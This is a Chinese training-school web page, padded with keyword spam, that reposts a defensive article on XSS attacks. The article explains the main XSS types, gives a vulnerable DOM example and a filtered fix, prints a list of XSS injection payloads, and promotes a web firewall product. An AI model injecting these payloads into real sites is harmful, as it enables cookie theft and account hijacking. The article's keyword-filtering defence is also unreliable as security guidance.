手机网站 网站地图 城市 综合 文章 资讯 湖南长沙阳光电脑维修培训学校是一家以电脑维修技术为核心的电脑维修培训学校,主营湖南电脑维修培训,长沙电脑维修培训。学校的主要课程有电脑维修培训,电脑维修培训,电脑维修培训,欢迎全国各地学员来我校学习电脑维修技术。学校常年开设:电脑维修培训,电脑维修培训,电脑维修培训,电脑维修入门,线下电脑维修培训,电脑维修学习,电脑维修培训,电脑维修培训,机器人培训。提供电脑维修学员最关心的问题:电脑维修培训,电脑维修培训机构,一般电脑维修培训要多少钱,电脑维修专业培训机构,电脑维修培训,电脑维修基础培训,专业电脑维修培训,电脑维修培训学校哪个好,电脑维修培训大概多少钱,电脑维修培训学校,学习电脑维修培训,电脑维修培训班大概多长时间,电脑维修培训,电脑维修入门培训,电脑维修零基础自学入门,电脑维修培训班有用吗,电脑维修培训多少钱,电脑维修培训要多少钱,招生地区:中山,固原,银川,玉树,海东,陇南,酒泉,张掖,天水,金昌,兰州,榆林,延安,渭南,铜川,阿里,山南,拉萨,怒江,文山州,楚雄州,普洱,昭通,玉溪,昆明,毕节,铜仁,遵义,贵阳,甘孜州,资阳,达州,宜宾,南充,遂宁,绵阳,泸州,自贡,三亚,崇左,河池,玉林,钦州,梧州,柳州,梅州,肇庆,湛江,佛山,珠海,韶关,湘西州,怀化,郴州,张家界,邵阳,株洲,仙桃,随州,荆州,荆门,襄樊,黄石,驻马店,信阳,南阳,漯河,中卫,石嘴山,海西,海南藏州,黄南州,海北,甘南,庆阳,平凉,武威,白银,嘉峪关,安康,汉中,咸阳,宝鸡,林芝,日喀则,昌都,迪庆,德宏,大理,西双版纳,红河州,临沧,丽江,保山,曲靖,黔东州,黔西州,安顺,六盘水,凉山州,阿坝州,雅安,广安,眉山,内江,广元,德阳,攀枝花,成都,海口,来宾,百色,贵港,北海,桂林,南宁,云浮,揭阳,潮州,清远,阳江,汕尾,惠州,茂名,江门,汕头,深圳,广州,娄底,永州,益阳,岳阳,湘潭,长沙,恩施州,黄冈,孝感,鄂州,十堰,武汉,周口,商丘,三门峡,许昌,焦作,安阳,鹤壁,平顶山,开封,郑州,聊城,滨州,德州,莱芜,日照,泰安,烟台,潍坊,东营,淄博,上饶,济南,抚州,宜春,赣州,新余,九江,景德镇,宁德,南平,泉州,莆田,厦门,宣城,亳州,六安,宿州,黄山,滁州,安庆,淮北,马鞍山,蚌埠,芜湖,合肥,丽水,舟山,衢州,金华,湖州,嘉兴,宁波,宿迁,镇江,盐城,连云港,苏州,徐州,南京,绥化,牡丹江,佳木斯,大庆,鹤岗,哈尔滨,白城,白山,辽源,吉林,葫芦岛,铁岭,盘锦,阜新,锦州,本溪,鞍山,沈阳,锡林郭勒盟,通辽,乌海,吕梁,忻州,晋中,晋城,阳泉,太原,廊坊,承德,保定,邯郸,唐山,宁夏,甘肃,西藏,贵州,重庆,广西,湖南,河南,江西,安徽,江苏,黑龙江,辽宁,山西,天津,四平,内蒙古,吴忠,果洛,西宁,定西,商洛,西安,那曲,黔南州,巴中,乐山,贺州,防城港,东莞,河源,常德,衡阳,咸宁,宜昌,濮阳,新乡,洛阳,菏泽,临沂,威海,济宁,枣庄,青岛,吉安,鹰潭,萍乡,南昌,龙岩,漳州,三明,福州,池州,巢湖,阜阳,铜陵,淮南,台州,绍兴,温州,杭州,泰州,扬州,淮安,南通,常州,无锡,大兴安岭,黑河,七台河,伊春,双鸭山,鸡西,齐齐哈尔,延边,松原,通化,长春,朝阳,辽阳,营口,丹东,抚顺,大连,阿拉善盟,兴安盟,乌兰察布,巴彦淖尔,呼伦贝尔,鄂尔多斯,赤峰,包头,呼和浩特,临汾,运城,朔州,长治,大同,衡水,沧州,张家口,邢台,秦皇岛,石家庄,青海,陕西,云南,四川,海南,广东,湖北,山东,福建,浙江,上海,吉林,河北,北京
阳光PLC编程培训学校形象图片
湖南阳光PLC编程培训学校
毕业学员的真情感言
  • 最新报名学员名单(实时滚动)
    最新就业创业学员名单
    WEB安全防范XSS跨站式脚本攻击
    WEB安全防范XSS跨站式脚本攻击
    当前位置: > 网络技术更新时间:2021-10-16 21:55:45主题:WEB安全防范XSS跨站式脚本攻击 围观:

    原文:www.iisutm.com

    网站要怎么防范常见的XSS跨站式脚本攻击呢,我们先从XSS跨站式脚本攻击的原理来说起。

    网站遭受XSS跨站式脚本攻击的基本原理

    1.本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。

    其攻击过程如下所示:

    A给B发送一个恶意构造了Web的URL。

    B点击并查看了这个URL。

    恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在B电脑上。

    具有漏洞的HTML页面包含了在B电脑本地域执行的JavaScript。

    A的恶意脚本可以在B的电脑上执行B所持有的权限下的命令。

    2反射式漏洞,这种漏洞和本地利用漏洞有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。

    其攻击过程如下:

    A经常浏览某个网站,此网站为B所拥有。B的站点运行A使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。

    C发现B的站点包含反射性的XSS漏洞。

    C编写一个利用漏洞的URL,并将其冒充为来自B的邮件发送给A。

    A在登录到B的站点后,浏览C提供的URL。

    嵌入到URL中的恶意脚本在A的浏览器中执行,就像它直接来自B的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在A完全不知情的情况下将这些信息发送到C的Web站点。

    3存储式漏洞,该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。

    其攻击过程如下:

    B拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。

    C注意到B的站点具有存储式的XXS漏洞。

    C发布一个热点信息,吸引其它用户纷纷阅读。

    B或者是任何的其他人如A浏览该信息,其会话cookies或者其它信息将被C盗走。

    类型A直接威胁用户个体,而类型B和存储式漏洞所威胁的对象都是企业级Web应用。

    网站遭受XSS跨站式脚本攻击的基本方式

    1. DOM-based cross-site scripting

    页面本身包含一些DOM对象的操作,如果未对输入的参数进行处理,可能会导致执行恶意脚本。如下面一些DOM操作:

    document.URL

    document.URLUnencoded

    document.location (and many of its properties)

    document.referrer

    window.location (and many of its properties)


    举个例子,假如某个脆弱的页面的代码如下:

    <HTML>

    <TITLE>Welcome!</TITLE>

    Hi

    <SCRIPT>

    var pos=document.URL.indexOf("name=")+5;

    document.write(document.URL.substring(pos,document.URL.length));

    </SCRIPT>

    <BR>

    Welcome to our system

    </HTML>

    攻击者使用如下的URL访问时,则非常危险:

    http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

    试了一下,貌似IE、FireFox等浏览器默认 对<script>alert(document.cookie)</script>进行了编码,阻止了脚本的执行。但是对于 DOM操作还是要更加谨慎啊,比如把上面的页面修改一下,安全性就增强了不少:

    <SCRIPT>

    var pos=document.URL.indexOf("name=")+5;

    var name=document.URL.substring(pos,document.URL.length);

    if (name.match(/^[a-zA-Z0-9]$/))

    {

    document.write(name);

    }

    else

    {

    window.alert("Security error");

    }

    </SCRIPT>

    2. Reflected cross-site scripting

    也被称为None-Persistent cross-site scripting,即,非持久化的XSS攻击,是我们通常所说的,也是最常用,使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL,当 URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接菜能引起。

    3. Persistent cross-site scripting

    持久化XSS攻击,指的是恶意脚本代码被存储进被攻击的数据库,当其他用户正常浏览网页时,站点从数据库中读取了非法用户存入非法数据,恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。

    实施方式

    我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX,发现参数XXX原样的出现在了页面源码中:

    <input type="text" class="Seach" name="w" value="XXX" />
    OK,可以开始做文章了,我们将XXX替换为:abc"/><script>alert('haha')</script><a href=",返回的HTML代码如下:

    <input type="text" class="Seach" name="w" value="abc"/>
    <script>alert('haha')</script><!--" />
    这样,<script>alert('haha')</script>被执行了。这里再举例一些XSS攻击行为:

    <IMG SRC="javascript:alert('XSS');">
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
    <IMG SRC="jav ascript:alert('XSS');">
    <SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
    <<SCRIPT>alert("XSS");//<</SCRIPT>
    <iframe src=http://example.com/scriptlet.html <
    <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
    <BODY BACKGROUND="javascript:alert('XSS')">
    <BODY ONLOAD=alert(document.cookie)>
    <BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
    <IMG DYNSRC="javascript:alert('XSS')">
    <IMG DYNSRC="javascript:alert('XSS')">
    <BR SIZE="&{alert('XSS')}">
    <IMG SRC='vbscript:msgbox("XSS")'>
    <TABLE BACKGROUND="javascript:alert('XSS')">
    <DIV STYLE="width: expression(alert('XSS'));">
    <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
    <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
    <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
    <A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
    <IMG SRC=javascript:alert('XSS')>
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
    a="get"
    b="URL("""
    c="javascript:"
    d="alert('XSS');"")"
    eval(a+b+c+d);
    总结一下,要防止XSS跨站式脚本攻击主要是要在查询字符串(QueryString),表单数据(PostData)以及Cookie甚至HTTP报头(Header)中防止掉一些javascript关键字和一些敏感的字符(单引号,分号)以及SQL语言的关键字,以及防止他们使用encode编码。

    用ASP或者PHP脚本来实现上面的这些想起来就很麻烦。下面就来介绍下用一个第三方工具IISUTM来处理上面我们说到的问题。

    准备工作:先去www.iisutm.com下载最新的IISUTM版本。

    根据IISUTM网站防火墙安装及操作手册 中的说明把IISUTM部署到你的服务器上来,这里需要注意的是使用Windows 2003+iis6的服务器,需要开启iis中“以IIS5.0 隔离模式运行 www 服务选项才能正常使用该软件。

    安装完成,通过浏览器访问IISUTM的配置管理界面默认的是http://127.0.0.1:8362,这个是私有地址,只能在该服务器上访问,你需要任何地方都能访问的话,可以在安装的时候IP地址的选项那里填入你服务器的公网IP地址,和你所开放的端口。这样你就可以通过你配置的地址进行访问,或者你可以在iis中直接管理名为IISUTM的站点。

    登陆管理界面后点击上面导航栏中的“基本设置,然后点击左边菜单的“防XSS攻击链接。

    开启该链接里所有的选项,选中之后IISUTM会自动保存配置,下面的“使用不允许的发送序列是该软件提供的XSS攻击关键字的特征库,你可以根据你网站的情况进行更改(最好不要修改)。

    确认以上的配置以后,你可以返回到IISUTM管理界面的首页,这里会列出最近服务器遭受到的攻击以及详细,赶紧去看看你的网站是不是随时有人在进行SQL注入吧,以及哪些攻击被IISUTM处理掉了。

    标签:


    温馨提示:湖南阳光技术学校常年面向全国招生(不限年龄)。由湖南阳光技术学校实战一线首席技术专家授课,天天实操,全程实战,手把手教,包教包会。我们是正规技术学校,我们有自己的校园,我们是行业正规军!我们有自己的教学楼、学员公寓楼、篮球场(2个)、有校内花园、有专业实操车间。我们会为您提供海量的WEB安全防范XSS跨站式脚本攻击的信息,如果您想了解有关WEB安全防范XSS跨站式脚本攻击方面的更多资讯,请经常关注我校网站:www.hnygpx.net 也可以加我们微信号:yp941688 或 yp94168;我们将给你最详细的与WEB安全防范XSS跨站式脚本攻击相关的解答。 如果您对湖南阳光技术学校发布的WEB安全防范XSS跨站式脚本攻击这条信息有什么好的建议,请告诉我们。您的宝贵建议对我们逐步完善WEB安全防范XSS跨站式脚本攻击的内容有重要的参考作用!

      随机文章


      安防监控技术学校
      安防监控技术学校
      安防监控技术学校
      返回顶部